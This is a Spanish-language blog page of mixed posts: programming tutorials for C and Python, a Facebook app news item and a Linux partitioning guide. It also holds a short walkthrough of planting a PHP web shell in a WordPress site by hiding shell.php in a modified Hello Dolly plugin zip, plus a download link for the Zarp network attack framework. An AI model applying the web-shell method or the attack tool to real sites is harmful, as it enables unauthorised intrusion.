Como subir shell en wordpress

16:01 0 Comments A+ a-


 Les cuento, hace ya tiempo que no auditaba un sitio con el cms (Sistema de gestión de contenidos) Wordpress , y bueno toco auditar uno Version 3.6. Tras unas horas de escaneo y luego de encontrar un plugin vulnerable, logro entrar al panel de administración, lo primero que miro fueron los plugins y me tope con que no se podían editar.

                                   

Luego veo que estaba habilitada la opción para añadir un plugin.

                                   

Lo primero que pense fue en buscar algun plugin de upload que permitiera subir archivos con extenciones en php, pero justo antes de empezar a buscar, veo la opción de subir uno.

                                 

Así que me dirigí a la web de el plugin http://wordpress.org/plugins/hello-dolly y lo descargo, luego solo fue agregarle mi shell al zip quedando así.

                               
                               

Lo subí y se instalo perfectamente, ya solo era cosa de buscarlo en /wp-content/plugins/hello-dolly/shell.php y listo.

Autor: AΞRCRΞA

Nueva aplicación de Facebook permite chatear de forma anónima

9:31 0 Comments A+ a-


La mayor red social del mundo, Facebook, lanzó una nueva aplicación para teléfonos móviles que permite crear conversaciones online sobre los temas que elijan los usuarios y en las que éstos pueden participar de forma anónima mediante un pseudónimo.

Rooms, como se ha bautizado la nueva aplicación, es una versión adaptada para el móvil de los clásicos chats de internet y funciona de manera totalmente independiente a la aplicación de Facebook, de manera que no es necesario que el usuario vincule ambas cuentas.

"Crea una "habitación" (en inglés, "room") para aquello que te guste. Personalízala. Elige un pseudónimo distinto para cada "habitación". Habla con los demás sobre aquello que te gusta", indica una sencilla lista de instrucciones en el portal web que Facebook ha creado para promocionar su nuevo producto.

En los diferentes chats o "habitaciones", los usuarios pueden conversar sobre el tema que les ocupa, así como compartir fotografías y vídeos.

Algunos de los temas para chats que Facebook propone en su promoción son "cazadores de ramen" (la tradicional sopa de fideos japonesa), "creadores" o "kendama" (un juego tradicional también japonés muy popular entre los jóvenes empleados de las empresas de Silicon Valley).

"Ahora te puedes conectar con gente de cualquier parte del mundo a quienes les guste algo tanto como te gusta a ti", indicó en un comunicado el jefe de equipo del producto de Facebook, Josh Miller, para quien esto todavía no era posible en las aplicaciones para móviles.

La política de identidad de Facebook desde sus inicios siempre ha sido tratar de que todos sus usuarios se identifiquen en la red por sus nombres reales y hacer así de la red social un lugar más transparente en el que nadie pueda refugiarse en el anonimato, una filosofía con la que rompe la posibilidad del anonimato en Rooms.

El pasado 1 de octubre, Facebook se disculpó públicamente ante la comunidad lesbiana, gay, bisexual y transexual (LGBT) por la política de identidad que aplica en la red social y que obliga a los usuarios a identificarse por sus nombres reales, lo que había levantado varias quejas de esta comunidad.

La polémica que llevó a Facebook a disculparse en público se inició a mediados de septiembre, cuando varias drag queens, muchas de ellas del área de San Francisco (California, EE.UU.), denunciaron a los medios que Facebook les había bloqueado las cuentas por no utilizar sus nombres reales en la red social.

Zarp - Network Attack Framework

17:01 0 Comments A+ a-


Zarp es una herramienta escrita en python de ataque a redes en entornos locales. Posee varias herramientas
como sniffers los cuales permiten analizar automáticamente los nombres de usuario y contraseñas de diversos protocolos,
así como ver el tráfico HTTP y más.
Entre sus funciones estan:

- Poisoners
- Parameter
- Services
- Sessions
- Scanners
- DoS Attacks
- Sniffers


Descarga: git clone git://github.com/hatRiot/zarp.git
Mas informacion: https://defense.ballastsecurity.net/wiki/index.php/Zarp
https://github.com/hatRiot/zarp

De cero a C

15:05 0 Comments A+ a-


Comencemos desde el principio.

1- Qué es C? (Un pequeño recopilado de Wikipedia. Lo va a explicar mejor que yo. Si quieren ahondar: http://es.wikipedia.org/wiki/C_(lenguaje_de_programaci%C3%B3n) ).

C es un lenguaje de programación creado en 1972 por Dennis M. Ritchie en los Laboratorios Bell. es un lenguaje orientado a la implementación de Sistemas Operativos,

concretamente Unix. C es apreciado por la eficiencia del código que produce y es el lenguaje de programación más popular para crear software de sistemas, aunque

también se utiliza para crear aplicaciones.

C es un lenguaje compilado. Qué significa esto? Que nosotros nos vamos a encargar de escribir el código, otro programa llamado compilador va a tomar ese codigo, y nos

va a dar nuestro programa ejecutable. No es tan simple como lo describo pero es lo que hay que saber. Existen otros tipos de lenguajes, por ejemplo los interpretados,

que no son compilados, sino que son 'interpretados' por otro programa. Ejemplo, Python.

Insisto, para detalles mas especificos, buscar en google o ver el link de wikipedia.

2- Introduccion a C.

Código: C
  1. #include <stdio.h>
  2. /* Programa que imprime "Hello world!" en consola. */
  3. int main(void){
  4.         printf("Hello World!");
  5.         getchar();
  6.         return 0;
  7. }

El primer programa el cual en mi opinión todo programador nuevo debería escribir, en el lenguaje que desea aprender, es el clásico hola mundo. Y, como es habitual,

vamos a ver línea por línea que hace cada instrucción, obviamente, hay cosas que aún no se van a entender, pero con el tiempo va a ser algo común.

1- #include <stdio.h>

Ésta es una de esas lineas que al principio no se entienden muy bien. Pero veamos. Hay mucha funcionalidad de C que no esta incluida en todo programa que uno escriba,

pero sí esta agrupada en archivos llamados "librerías". Éstas librerias poseen la extensión .h y, al momento de incluírlas en nuestro programa deben escribirse entre <

> como muestra el programa arriba. (Algunos ejemplos serian, stdio.h -Standard Input Output, stdlib.h -Standard Library, entre otros). Más adelante cuando aprendamos

más, vamos a poder hacer nuestrar propias librerías y agregar o usar modificaciones funcionales. Es mejor no ahondar mucho en este tema ahora, en un futuro no muy

lejano va a tener mucho mas sentido. Sigamos!

2- /* Programa que imprime "Hello world!" en consola. */

Ésto es un comentario. Los comentarios son lineas o mejor dicho, porciones de 'código' que no va a ser compilado. Son a la vez algo que no tiene uso, y algo muy

importante. Paso a explicar por qué y probablemente muchos no esten de acuerdo. No tiene uso. Por qué? Porque no es algo que el compilador (como dijimos arriba) vaya a

tomar en cuenta a la hora de ensamblar nuestro programa.

Ahora, si son algo que no van a ser tomado en cuenta, por qué son algo importante? Simple. Nuestro código, eventualmente, va a ser leído por otras personas. O incluso

por vos mismo en 6 meses cuando reveas cosas que ya has escrito. Los comentarios ayudan a documentar, y dar a entender qué estabas pensando, por qué hiciste algo de

cierta forma, como funciona cierta u otra parte del código, etc. Es lo que permite o ayuda que alguien que no sabe que estabas haciendo, pueda entender que hace tu

programa.

Creeme que si 2 personas escriben el mismo código. Uno que sabe toneladas de programacion y otro que apenas se defiende, y, el que sabe mucho no agrega comentarios, y

el otro si.. Adivina qué codigo podrás entender con mayor facilidad? El documentado o el no documentado? El del experto o el del novato?

3- int main(void) {

Hay 2 cosas que decir sobre esta línea en particular. La funcion main es el punto de entrada de tu programa, es decir, el mismo empieza con main. Por ahora es todo lo

que hace falta saber. Todo programa tiene una funcion main, siempre se escribe igual (por ahora). Lo segundo, la llave ({). Las llaves en C determinan bloques de

código. Siempre que se abra una llave, se cierra en otro lado. Muchos errores bizarros pueden saltar a la hora de compilar si uno olvida cerrar una llave.

4- printf("Hello World!");

La funcion printf pertenece a la libreria stdio.h y es precisamente es la que "imprime" texto a la pantalla. La cantidad de funcionalidad que ofrece printf (print

format) es demasiado grande, y no es el punto de este post ahondar demasiado en ella. Lo que es necesario saber: En loss parametros de printf (Lo que va entre

paréntesis) es lo que será escrito. No desesperen, ya veremos funciones bien en otro momento.

5- getchar();

Otra funcion que veremos en detalle más adelante. Ésta te dejo que averigües su funcion en nuestro programa a vos mismo. Intenta compilar y correr el programa (el

ejecutable) con y sin ella y veras por qué razón la incluímos.

6- return 0;

Nuestro programa es básicamente 'llamado' por el sistema operativo cuando lo corremos. La mayoría de las funciones devuelven valores, por ejemplo. Si escribiéramos una

funcion suma(a,b), la idea sería que sume los números a y b y devuelva el valor de dicha suma. Main es una función particular, ya que, devuelve 0 siempre que no haya

problemas. Si surgiera algún error, devolvería otro valor distinto de 0. Una vez más, se verá mas adelante.

7- }

Como dijimos, todos los bloques de código empiezan y terminan con llaves.. Y main no es la excepción.


Bien. Si me seguiste hasta acá y no saliste volando de la PC a estudiar cocina o diseño de interiores, logré mantener tu atención y/o interés lo suficiente. Quedate un

poco más!

Variables


¿Qué es una variable? Una variable es básicamente, un 'espacio' de memoria en el cual nosotros guardamos un valor para usarlo luego.

Digamos que queremos hacer un programa que tome 2 números, los sume,y muestre su valor en pantalla. Necesitaríamos pedir 2 valores al usuario y guardarlos en algún

lado para poder hacer la cuenta luego. Con eso. Sigamos.

Código: C
  1. #include <stdio.h>
  2. int main()
  3. {
  4.     int a,b;
  5.     printf("Dame el primer numero. ");
  6.     scanf("%d", &a);
  7.     printf("Dame el segundo numero. ");
  8.     scanf("%d", &b);
  9.     printf("El resultado de la suma es: %d", a + b);
  10.     return 0;
  11. }

Este programa hace exactamente lo que pedimos. La línea int a,b; es la declaración de variables. Para declarar variables, C necesita saber de que tipo son, para poder

asignarle la memoria necesaria. Claro, no es todo lo mismo. No es lo mismo guardar una letra, que un número entero, o que un numero con coma y 15 decimales, por decir algo exagerado.

Algunos de estos tipos son: int (integer, enteros), char (Character, caracteres), float (punto flotante, los numeros decimales con coma) entre otros. En otro post

vamos a ver mas en detalle todos los tipos de variables.

Por último, para terminar de entender el programa de arriba, la función scanf es prácticamente la hermana de printf. Printf muestra, scanf recibe informacion de un

método de entrada, en general el teclado. Se usa de esta forma: scanf("%tipo", &variable en la que se guardará el dato). El %tipo depende de qué es lo que se guardará,

en este caso, d para 'decimal'. Algunos de estos tipos serian, %d para int's, %f para float's y %c para char's.


Autor: Khala

Post de debate: http://underc0de.org/foro/c-c/de-cero-a-c/


Introducción a Python

9:28 0 Comments A+ a-



Hola Gente! Cómo les va? En esta ocasión traigo algo de material que tenía guardado. No es más que una pequeña introducción a Python pero prefiero compartirlo antes de que se pierda. Al final del post pueden encontrar un link con el material en pdf.

Comencemos!



Introducción


Voy a comenzar de una forma que no se acostumbra mucho hoy en día: definiendo.

Probablemente, muchos sepan que estamos a punto de adentrarnos en uno de los más maravillosos lenguajes de programación que existen actualmente. La pregunta es: ¿qué hace a este lenguaje tan especial? La respuesta es muy sencilla. Aún más de lo que podría parecer en un principio. Sin embargo, muchas de sus características y ventajas recién llegan a ser comprendidas luego de un tiempo. Es decir, nos veremos involucrados en un proceso de pythonización que código tras código nos irá respondiendo aquella pregunta tan importante que todos nos formulamos alguna vez al escuchar acerca de este misterioso ofidio de la programación.

Muy bien. Basta de vueltas y vayamos al grano. Entonces, ¿Qué es Python? Es un lenguaje de programación interpretado de alto nivel creado por Guido Van Rossum a fines de los años ochenta (dicen las malas lenguas que todo comenzó como un hobbie al buscar algo que lo mantenga ocupado durante las semanas de navidad). Entre sus características, podemos nombrar las siguientes:

    - Simple: Es la primera característica que debemos nombrar al hablar de este lenguaje. Python fue diseñado con esta filosofía: legibilidad y transparencia. A eso nos referimos cuando hablamos de “pythónico”. Ya veremos más adelante qué es y  cómo acceder al “Zen de Python”.

    - Interpretado: Todo lo que nosotros escribamos será ejecutado por medio de un intérprete, en contraste con los lenguajes compilados (C, C++, C#, Visual Basic, Delphi, etcétera) que son ejecutados por medio de un compilador (a leer!).

    - Multiparadigma: No tenemos que programar así o asá, sino que tenemos varios estilos para elegir (programación orientada a objetos, programación imperativa y, en menor medida, programación funcional).

    - Multiplataforma: Podemos ejecutar nuestros scripts en cualquier plataforma (GNU/Linux, Microsoft Windows, Mac OSX, etcétera) siempre y cuando tengamos nuestro intérprete instalado y configurado.

    - Interactivo: Podemos ejecutar sentencias desde la línea de comandos y ver qué nos responde el intérprete (nos ayuda mucho para comprender mejor el lenguaje y, principalmente, al momento de programar, permitiéndonos probar segmentos específicos de nuestro código, en busca de errores).

Existen muchas otras características como tipado dinámico, resolución dinámica de nombres, conteo de referencias, facilidad de extensión y demás. No es necesario que las veamos ahora, razón por la cual las dejo para que investiguen por su propia cuenta.



Instalando Python


Lo primero que debemos mencionar es la versión de python que vamos a utilizar a lo largo del taller. Actualmente existen 2 versiones principales: 2.7.8 y 3.4.1. Nosotros vamos a utilizar la primera (Python 2.7).

1). GNU/Linux. Generalmente ya viene instalado por defecto. En caso contrario, su instalación se puede realizar simplemente desde la consola. Para ello, escribimos:

Código: Bash
  1. wget https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz -O - | tar -x

O si tenemos curl:

Código: Bash
  1. curl https://www.python.org/ftp/python/2.7.8/Python-2.7.8.tgz | tar -x

Con esto conseguimos descargar y descomprimir el código fuente. A continuación, procedemos a configurar e instalar python:

Código: Bash
  1. cd Python-2.7.8
  2. ./configure
  3. make
  4. sudo make install

En el caso anterior, debemos ejecutar los comandos de manera secuencial y resolver los errores que eventualmente nos puedan surgir. Una vez finalizado, podremos comprobar que la instalación ha sido exitosa simplemente escribiendo lo siguiente:

Código: Bash
  1. python

Lo cual nos abrirá la consola interactiva de python de la cual estuvimos hablando al principio del taller:



2). Windows. Aquí el asunto es un poco más simple. Descargamos el archivo de instalación desde alguno de los siguientes enlaces, según corresponda: 32 bits / 64 bits y con un doble click sobre el mismo comenzamos la instalación. Como siempre, aceptar, aceptar y aceptar hasta finalizar el proceso. Pero cuidado! Para simplificar aún más las cosas deberemos prestar atención. En la pantalla titulada “Customize Python 2.7.8” deberemos marcar la opción “Add python.exe to Path”. Con ello añadimos el archivo python.exe al path de Windows y nos ahorramos unos pequeños problemitas:



(La imagen muestra la instalación de la versión 3.3.2 pero nos sirve igual)

Para finalizar, abrimos el Procesador de comandos de Windows (cmd.exe) y, al igual que en Linux, escribimos:

Código: DOS
  1. python

Nuevamente, si todo anduvo bien, estaremos iniciando una charla con nuestro querido amigo, el intérprete.



Listo! Ya tenemos preparado nuestro entorno de desarrollo en ambos sistemas operativos. Sólo nos queda hacer un programa y ver qué sucede con todo esto.
A descansar 5 minutos que una vez que arranquen a programar no van a poder detenerse


Mi primer programa en Python

Si esta no es tu primera experiencia con un lenguaje de programación, seguro ya te irás imaginando qué tipo de aplicación estamos a punto de “desarrollar”. Exacto, qué otra cosa podía ser más que el clásico de los clásicos: el tan famoso “Hola mundo”.

Para aquellos que no entienden nada de lo que estoy hablando, les explico de forma muy concisa en que consiste este loco rito que acabamos de mencionar. Simplemente, lo que hacemos es crear una sencillísima aplicación que no hace más que imprimir en pantalla el mensaje “Hola mundo!”.

Pero… si es tan simple y, por lo visto, tan poco útil, ¿por qué tanta importancia? Simple. Lo que realmente nos importa de todo esto es realmente el código. En él vamos a poder ver muchas características del lenguaje que estemos utilizando. En nuestro caso, por ejemplo, ya veremos que el código se puede escribir de varias formas, lo cual nos permite constatar la capacidad multiparadigmática de python que mencionamos al principio.

Por otro lado, un “Hola mundo” nos permite rápidamente comprobar que tenemos todo nuestro entorno de desarrollo perfectamente configurado y funcionando.

Finalmente este programa es considerado fundamental desde el punto de vista didáctico, ya que ilustra rápidamente al principiante la sintaxis más básica del lenguaje de programación que está a punto de aprender.

Como dije anteriormente, existen varias formas de hacer nuestro “Hola Mundo” en python. Sin embargo, por ahora haremos lo más simple. A medida que vayamos conociendo más el lenguaje, veremos cuáles son esas otras alternativas que dejamos escapar en este momento.

Lo primero que vamos a hacer es abrir nuestro editor de texto plano favorito (en mi caso, sublime text). Una vez allí, escribimos el siguiente código:


Muy bien. Ahora sólo queda guardar nuestro archivo con el nombre “holaMundo.py” y listo.


Por último, probaremos ejecutarlo para ver si funciona. Para ello, abrimos una consola de comandos, nos dirigimos al directorio donde se encuentre nuestro script y escribimos lo siguiente: “python holaMundo.py”. Si el resultado fue un “Hola Mundo!” en la siguiente línea de la terminal, entonces, felicitaciones!! Acabas de crear tu primer programa 100% funcional en python!!



Vayamos ahora a las entrañas de este misterioso código y veamos qué significan esas palabritas, hasta ahora, sin sentido.

Lo primero que vemos es la palabra clave “print”. Si traducimos esta palabra inglesa al español, entonces vemos que su significado no es más ni menos que “imprimir”.


Código: Text
  1. print = imprimir

Con esta declaración lo que logramos es imprimir en pantalla la expresión que sigue a continuación.

En nuestro caso, la expresión que le continúa es “Hola Mundo!” con las comillas incluidas (ya veremos más adelante que significan esas comillas; por ahora quedémonos con la idea de que las comillas le dicen a print cuál es el mensaje que queremos mostrar al usuario).

Entonces, lo que nuestro pequeño código significa es simplemente: imprimir en pantalla el mensaje “Hola Mundo!”.

No era tan difícil, ¿no? A continuación, profundizaremos un poquito más para ver cómo hacemos de éste un programa algo más flexible e interactivo.


Variables

Vamos a comenzar ahora con un tema que nos abrirá muchas posibilidades a la hora de programar. Es que no hay mucho que podamos hacer sin ellas, las variables. Para los que no saben a qué me refiero, voy a tratar de explicarlo sencillamente.

Aclaración: Lo que estamos por ver no es más que una aproximación o introducción a este extenso tema. Existen muchos puntos que dejaremos fuera por el momento. Más adelante, una vez que nos adentremos en el mundo de la programación orientada a objetos (POO), estudiaremos a fondo cada uno de los tópicos que hoy trataremos.

1). Qué es una variable. Las variables son como cajas que nos permiten almacenar información en su interior. En ellas podemos guardar lo que sea: números, textos, listas, diccionarios, objetos, etcétera (ya veremos qué son concretamente estos elementos).

Pero, obviamente, necesitamos rotular estas cajas para poder identificarlas fácilmente y no confundirlas. Es decir, las variables tienen un nombre que las distinguen entre sí.

Conclusión: una variable...
    - es un espacio de memoria (la caja)
    - nos sirve para almacenar un valor (un tipo de dato)
    - tiene un nombre o etiqueta (identificador)

2.) Cómo crear una variable. En ciertos lenguajes primero debemos indicar el nombre de la caja y el tipo de información que va a almacenar (lo cual se denomina declaración) y, a continuación, indicamos cuál va a ser el contenido de la misma (esto es la definición). Esto no es tan así, ya que podemos declarar y definirlas al mismo tiempo, pero no viene al caso.

En python las cosas son un poquito más automáticas. No hace falta declarar las variables antes de definirlas. Simplemente les asignamos un valor y listo. El intérprete se encarga de identificar el tipo de dato almacenado. Esta es una de las características de python nombradas al principio del taller y se denomina tipado dinámico.

Para crear una variable debemos escribir lo siguiente:


Código: Python
  1. miVariable = valor

Como ven, es muy similar a matemáticas. A la izquierda el nombre de la variable y a la derecha el valor (tipo de dato) a asignar. El signo igual que estamos utilizando se denomina operador de asignación (ya veremos más adelante que existen unos cuantos operadores más).

Existe otra forma de asignación, un poco más compleja, denominada asignación múltiple. No la vamos a explicar todavía pero te invito a investigar por tu cuenta y experimentar un poco.

3). Tipos de datos. Si bien no es necesario indicárselo al intérprete, debemos conocer los tipos de datos soportados por python, de lo contrario, no llegaremos muy lejos.

Si bien existen varios tipos de datos, no hace falta nombrarlos a todos en este momento.

A continuación, nombraremos los más importantes para, luego, profundizar en cada uno de ellos:



Existen otros tipos de datos que iremos viendo en los próximos talleres. Por ahora, con esto será más que suficiente.

Muy bien, comencemos:

    A. Datos tipo str. Estos son valores de tipo alfanuméricos, es decir, son cadenas de números, letras y muchos otros símbolos  (str es una abreviatura de string que, traducido al español, significa cadena) delimitadas por comillas dobles (“”) o simples (‘’).

Si hacemos memoria, veremos que este es el tipo de dato utilizado en nuestro primer programa (“Hola Mundo!”, se acuerdan?).

Los datos tipo alfanuméricos pueden ocupar una o más líneas pero deberemos conocer algunos detalles para evitar cometer errores: si la información se encuentra delimitada sólo por una comilla entonces deberemos ocupar sólo una línea.



Para poder ocupar varias líneas debemos hacerlo con 3 comillas, dobles o simples:


Más adelante veremos que no es necesario utilizar tres comillas para ocupar varias líneas. Como adelanto, les digo que vayan investigando acerca de los códigos de escape (el código de escape “\n” nos permite ocupar varias líneas, a pesar de utilizar sólo una comilla).

Muy bien, antes de terminar con los datos tipo str, me gustaría hacer una pequeña pero importante aclaración: ¡Cuidado con los números!

Un número delimitado por comillas será considerado un valor de tipo str. Para que nuestro número sea considerado como tal deberemos escribirlo sin comillas.



    B. Datos tipo int. A este grupo pertenecen aquellos datos numéricos de tipo entero, incluyendo al cero y a los números negativos (int es la abreviatura de integer que, traducido al español, significa entero).

El espectro de números no es infinito. Ya veremos más adelante cómo determinar ese límite y a quién pertenece el espectro de números que sigue.

Un ejemplo de este tipo de dato es el que vimos en la última imagen (el uno que almacenamos en la variable llamada “intVar”).

    C. Datos tipo float. La palabra float hace referencia a los floating point numbers, es decir, a los números de punto o coma flotante (¿¡los qué!?). Wikipedia les puede dar una buena explicación pero si no quieren complicarse, entonces quédense con esto: si uno agarra una calculadora y escribe cinco dividido dos el resultado tiene dos representaciones: como número racional (es decir, dos quintos: 2/5) o como número de coma flotante (es decir, dos coma cinco: 2,5).

Conclusión, el número de coma flotante es, ni más ni menos, que una representación de un número racional.



Es importante aclarar que python interpretará al número con coma como un dato de tipo float, incluso a pesar de que sea un número entero (1.0 no es lo mismo que 1, ¿se entiende?).



    D. Datos tipo tuple. Se denomina tupla (traducción al español de tuple) a una secuencia ordenada y limitada de objetos. ¿Qué significa esto? Para entenderlo, veamos un poco los orígenes de este término.

Todo comienza cuando unos matemáticos que no tenían otra cosa que hacer aplicaron el método inductivo sobre cierto conjunto de palabras. Dichas palabras eran: dupla, tripla, cuádrupla, quíntupla, etcétera.

Los tipos se preguntaban qué nombre genérico podían darle a este conjunto. Pensaron, aportaron ideas, las desecharon y volvieron a pensar. Así, hasta que uno de ellos dijo: Si hablamos de 5 objetos, se llama quíntupla; si son 6, séxtupla; 7, séptupla. Si generalizamos, podemos llamarlos 5-tupla, 6-tupla y 7-tupla, respectivamente. Si generalizamos más, podemos decir n-tupla, donde n es el número de objetos que contiene la tupla. Y así es como surgió esta interesante denominación.

Bueno, sí. Era innecesaria la historia jeje. Pero al menos sacamos 2 cosas de ella (o 3, qué se yo). Primero, las tuplas contienen una cantidad limitada de objetos (n nos dice que la tupla es finita). Segundo,  los objetos están ordenados de una forma determinada (eso no lo dice la historia pero no importa!). Tercero, los matemáticos se la pasan estudiando cosas sin sentido que, de una forma u otra (ni sé cómo), llegan a tener mucha importancia en nuestras vidas (¿?).

Muy bien. Por último vamos a decir algo muy importante. Las tuplas son inmutables. Esto significa que una vez creada la tupla, es imposible modificarla. ¿Clarito?

Para crear una tupla no hace falta mucho: sólo dos paréntesis (uno de apertura y otro de cierre) y comas (,) para separar los objetos entre sí.

En cuanto al contenido, puede ser cualquier cosa (menos plata! eso no lo pueden hacer, no se dejen engañar). Pero, ¿entonces puedo guardar una tupla dentro de otra tupla? Exactamente! Dentro de ellas puedes guardar cualquiera de los tipos de datos que estamos viendo y mucho más. Es hora de hacer volar tu imaginación y diseñar posibles programas para codear más adelante, a la par del próximo taller.



Como ven en la imagen, primero creamos tres variables que contienen los primeros tres tipos de datos que vimos. Luego, creamos 3 variables más: las primeras dos (miTupla y otraTupla) son tuplas que contienen a las primeras variables. La última (tuplaDeTuplas) es una tupla que contiene a las otras dos tuplas.

Si prestan atención, verán que miTupla y otraTupla presentan el mismo contenido. Sin embargo, no hay que caer en el error de afirmar que son iguales. Como dijimos al principio, el orden de los objetos es importante. Tanto que estas dos tuplas serían iguales de no ser por esta característica.

    E. Datos tipo list. Las listas (no voy a aclarar que lista es la traducción al español de list :P) son muy parecidas a nuestras queridas tuplas. Difieren de ellas en los siguientes aspectos:

        a.   No surgen del ocio de los matemáticos.

        b.   Son mutables (sí, podemos modificar su contenido una vez creada la lista).

        c.   El contenido es delimitado por corchetes (y no por paréntesis).

        d.   Muchas otras cosas que dejaremos para más adelante (las veremos cuando comencemos con la POO).

De lo antedicho, y si aplicamos el famoso método hipotético-deductivo, podemos obtener más información de las listas:

        a.   Son una secuencia ordenada y limitada de datos.

        b.   Pueden contener cualquier tipo de dato.

        c.   Los objetos se separan unos de otros por comas.

Bueno, basta de cháchara y a la acción:




    F. Datos tipo dict. Los diccionarios son, al igual que las tuplas y las listas, un conjunto limitado de datos. Pero hay 2 términos que no estamos incluyendo en esta definición: ordenado y secuencial. Es que, de hecho, si hay algo que no le interesa al diccionario de python es preocuparse por un orden y una secuencia. Pero, ¿por qué? Es que los diccionarios no son más que un conjunto no ordenado de pares clave: valor.

Para entenderlo, hagamos una analogía con un diccionario de idiomas. Si quisiéramos saber qué significa una palabra determinada (por ejemplo, python), debemos buscar dicha palabra (clave) para luego ver su significado (valor).

Así es cómo hacen los diccionarios de python para organizar los datos que almacenamos en ellos.

Al igual que con las tuplas y las listas, los valores pueden ser cualquier tipo de dato. Las claves, en cambio, sólo pueden ser objetos inmutables (incluyendo a las tuplas, siempre y cuando no contengan objetos mutables).

Por último, vamos a ver cómo hacer un diccionario (al igual que con los anteriores, dejamos afuera mucha información; ya veremos todo con POO):

    - Los objetos deben estar delimitados por corchetes ({}) y separados por comas (,).

    - Las claves y los valores se asocian por medio de dos puntos ( : ); el objeto de la izquierda es la clave y el de la derecha, el valor.



En la imagen anterior podemos ver que miDic y otroDic presentan el mismo contenido pero en diferente orden. A diferencia de lo que sucedió en el caso de las listas y las tuplas, estos dos diccionarios sí son iguales. Recuerden: como hemos dicho al principio, al diccionario no le interesa el orden de los objetos.

    G. Datos tipo bool. Los datos booleanos son aquellos que pueden representar valores de lógica binaria, es decir, 2 valores (verdadero o uno y falso o cero).

En python, estos datos están representados de muchas formas pero principalmente con 2 palabras clave: true y false (en sí, ambas son simples variables que almacenan los valores booleanos 1 y 0, respectivamente).

En términos generales, podemos decir que todos los datos son verdaderos, a excepción del cero (0 y 0.0), los datos vacíos (“”, (), [] y {}) y el NoneType.

Los datos booleanos son importantísimos en informática y, por ende, para nosotros: los programadores. Ya veremos más adelante cómo utilizarlos.

    H. Datos tipo NoneType. Este tipo de dato denota la falta de valor (none significa, traducido al español, ninguno) pero, en realidad, esto no es así. De hecho, los datos NoneType presentan y sólo pueden presentar un único valor: None.

Es elemental que comprendan esta diferencia: los datos NoneType no carecen de valor, sino que sí lo tienen, y sólo puede ser uno.

A partir de esto, uno se preguntará, ¿qué utilidad podemos darle a un dato que no se puede modificar y que no nos aporta ningún tipo de información? Fácil. En python, no podemos iniciar una variable sin asignarle un valor. Tampoco podemos, en las listas, asignar un valor a un offset que no ha sido creado aún. Por último, lo mejor: ninguno de estos ejemplos es cierto debido a que None nos permite hacerlo.

Veamos cómo:



Como podemos ver, la variable varVacia será de tipo NoneType. Gracias a None podemos iniciar la variable “sin tener que definir su tipo” (lo pongo entre comillas porque, a pesar de su nombre, None es algo: no es realmente nada, sino que es un objeto).

En cuanto a la variable miLista, el resultado será una lista con cuatro offsets ocupados por objetos None. Esto es casi lo mismo que decir que son 4 lugares vacíos, listos y a la espera de ser ocupados.


Mejorando nuestro “Hola Mundo!”

Cada vez que nos encontramos frente a una computadora, cualquiera que sea, podemos ver que cuenta una característica o cualidad fundamental: la capacidad de interactuar. Es que, de hecho, serían muy poco útiles si no contaran con dicho atributo. Si queremos que nuestros programas sean útiles y flexibles, debemos darles la capacidad de interactuar con el usuario.

Llamamos input a la información que el usuario suministra a la máquina y output a la información que la computadora transmite al usuario.

Ya vimos un ejemplo de output: la declaración print. Es decir, ya sabemos cómo hacer que la computadora muestre información por medio del monitor. Ahora sólo nos resta ver cómo podemos hacer para pasarle información a nuestros programas.

En python 2.7 existen 2 declaraciones para introducir información por medio del teclado: input y raw_input, para introducir números (int) y texto (str), respectivamente.

Veamos un ejemplo para entenderlo rápidamente.



Como vemos en la imagen, input nos sirve para ingresar datos de tipo int, mientras que raw_input, para ingresar datos de tipo str. De aquí surgen 2 cuestiones. Primero, si quisiéramos utiliza input para ingresar letras, se generaría un error. Por el contrario, el hecho de ingresar números al utilizar raw_input no genera ningún tipo de error pero debemos tener en cuenta que el dato ingresado no será de tipo int sino str (será el número con comillas).

Muy bien, ahora que ya sabemos cómo pasarle datos a nuestro programa y hacer que éste nos imprima texto en pantalla, es tu turno de mejorar nuestro primer programa, de forma tal que nos permita interactuar con el usuario e imprimir la información suministrada por el mismo.

La tarea es hacer un programa que pida el nombre y la edad al usuario para luego imprimir el siguiente texto:


“Hola (nombre)!! Tienes (edad) años”

Hay algunas cositas que van a andar mal pero es, simplemente, porque no lo hemos visto aún. No se preocupen. Tranquilos que ya vamos a llegar.

Por último, si les funciona el programa anterior, les dejo un último desafío: creen una variable con la edad del programa y e impriman la diferencia de edad (del programa y del usuario) en pantalla. Complicadito jeje.

Ahora sí me despido. La solución en el próximo número, con muchísimo más python y ejercitación.

Saludos!





P.D.: El tutorial que acabo de presentar iba a formar parte de los talleres oficiales de python pero, por error, escribí acerca de temas que ya habían sido tratados en las primeras dos entregas. Con esto quiero decir 2 cosas: primero, esta guía no pertenece a los talleres de underc0de y, segundo, todavía tengo pendiente la creación de una entrega oficial que se hará pública en los próximos días. En ella trataremos nuevos temas que nos permitirán comenzar con lo mejor del taller: la creación de herramientas orientadas al hacking.

Autor: WhiZ

La importancia de particionar en Linux

12:22 1 Comments A+ a-


 La primera vez que un usuario realiza la instalación de su sistema operativo
GNU/Linux (Fedora, Ubuntu o cualquier otra distribución) es común dejar que el asistente gráfico de instalación sea quien realice la configuración por el usuario, cosa que no es recomendable por los siguientes eventos:

En caso de pérdida del sistema operativo la información sufriría el mismo destino.Si se desea migrar a una nueva versión, ejemplo: de Ubuntu 11.10 a Ubuntu 12.10 hay que extraer toda la información y posteriormente instalar y reubicar archivos.Tiempo de recuperación del equipo mas prolongado.

A diferencia del particionamiento automático, el manual, permitirá definir cuáles particiones estarán en otra ubicación fuera del sistema operativo para solucionar los problemas citados con anterioridad.

El diseño de particiones que se recomienda hacer para un equipo de:

particionar 

Particionar un disco es como dividirlo en discos más pequeños contenidos dentro de la misma carcasa.
Las particiones pueden ser de dos tipos: primarias ó lógicas, las particiones lógicas se crean dentro de una partición primaria especial llamada extendida.
Como mínimo en un disco debe de haber una partición primaria y como máximo puede haber cuatro particiones primarias ó tres primarias y una extendida, no puede haber más de una partición extendida en un mismo disco duro.
Dentro de una partición extendida puede haber todas las particiones lógicas que queramos.
Cada partición puede contener un sistema de archivos diferentes.
Un sistema de archivos establece los mecanismos para acceder a los datos que contiene y permite o no el acceso a dichos datos en determinadas circunstancias y en caso de alguna inconsistencia posibilita medios para su restauración.
Existen diferentes sistemas de archivos y cada sistema operativo soporta diferentes sistemas de ficheros, algunos de ellos son los siguientes:

Ext2 el primer sistema de archivos diseñado expresamente para Linux.
Ext3 versión mejorada de Ext2, ampliamente utilizada en distribuciones Linux
